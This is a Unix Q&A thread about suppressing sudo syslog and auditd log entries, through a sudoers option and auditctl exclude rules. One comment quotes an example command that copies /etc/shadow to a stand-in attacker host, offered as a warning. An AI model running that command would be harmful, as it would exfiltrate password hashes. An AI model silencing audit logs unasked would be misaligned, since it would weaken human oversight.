19

You can disable sudo related log messages via adding something like

Defaults:juser !syslog

to the sudoers file.

That will disable logging to syslog. But under e.g. CentOS/Fedora there is an auditd enabled by default which continues to (verbosely) log a successful sudo execution via /var/log/audit/audit.log. That means one (successful) sudo call results in 5 auditd log entries.

One (perhaps too broad) method to silence those messages is to disable the auditing of those message via auditctl options like those:

-a exclude,always -F msgtype=USER_START
-a exclude,always -F msgtype=USER_END 
-a exclude,always -F msgtype=USER_CMD
-a exclude,always -F msgtype=CRED_ACQ
-a exclude,always -F msgtype=CRED_DISP

Is there a more elegant/fine-grained method to only disable the auditing of successful sudo-calls?

(Perhaps only for a certain sudo-user?)

Roel Van de Paar
  • 240
  • 2
  • 12
maxschlepzig
  • 56,316
  • 50
  • 205
  • 279
  • 4
    I get why you would want to reduce log noise, but I don't get why you would care to record only the unsuccessful commands. Successful commands can be just as harmful: `sudo scp /etc/shadow badactor.example.com:`. – Warren Young Jan 15 '15 at 03:57
  • 1
    @WarrenYoung, well, you have to draw the line somewhere. Logging your `sudo scp ...` command does not really reduces its harm, or does it? The point in time you notice it (*if* you notice it at all!) it is already to late. Thus, it makes more sense to invest your energy into reviewing and testing your sudo setup and related systems. Also, logging unsuccessful is not necessarily about detecting a mischievous person, it is probably more important for detecting a misconfiguration. And - someone unauthorized who successfully executes your sudo command, is probably also able to escape the auditing. – maxschlepzig Jan 15 '15 at 21:10
  • 4
    You don't seem to be considering [secure logging](http://content.hccfl.edu/pollock/AUnixSec/LoggingInfrastructure.htm) with an eye toward post-mortem incident analysis. If you log to localhost and/or purposely decrease the audit level and your box gets rooted, you may never be able to discover how it was done, so you may be unable to prevent the replacement from getting rooted the same way. A trap-door log server with plenty of disk space can help you reconstruct what happened. – Warren Young Jan 15 '15 at 23:16
  • @WarrenYoung, I'm not against secure-logging in principle; for some deployments you want/need it - for others you don't. Also, secure logging is no silver bullet, either. It may give you clues in a post-mortem. As well as a good backup schedule. – maxschlepzig Jan 16 '15 at 21:35
  • 1
    The "secure logging" page is now at https://wpollock.com/AUnixSec/LoggingInfrastructure.htm – Dominik R Dec 01 '16 at 11:05

2 Answers2

1

I looked this up on CentOS 7.

According to man auditctl you could check for the euid to filter out more specific for the user juser.

Nils
  • 18,202
  • 11
  • 46
  • 82
1

check your current rules and disable as needed.

sudo auditctl -l
user30141
  • 11
  • 1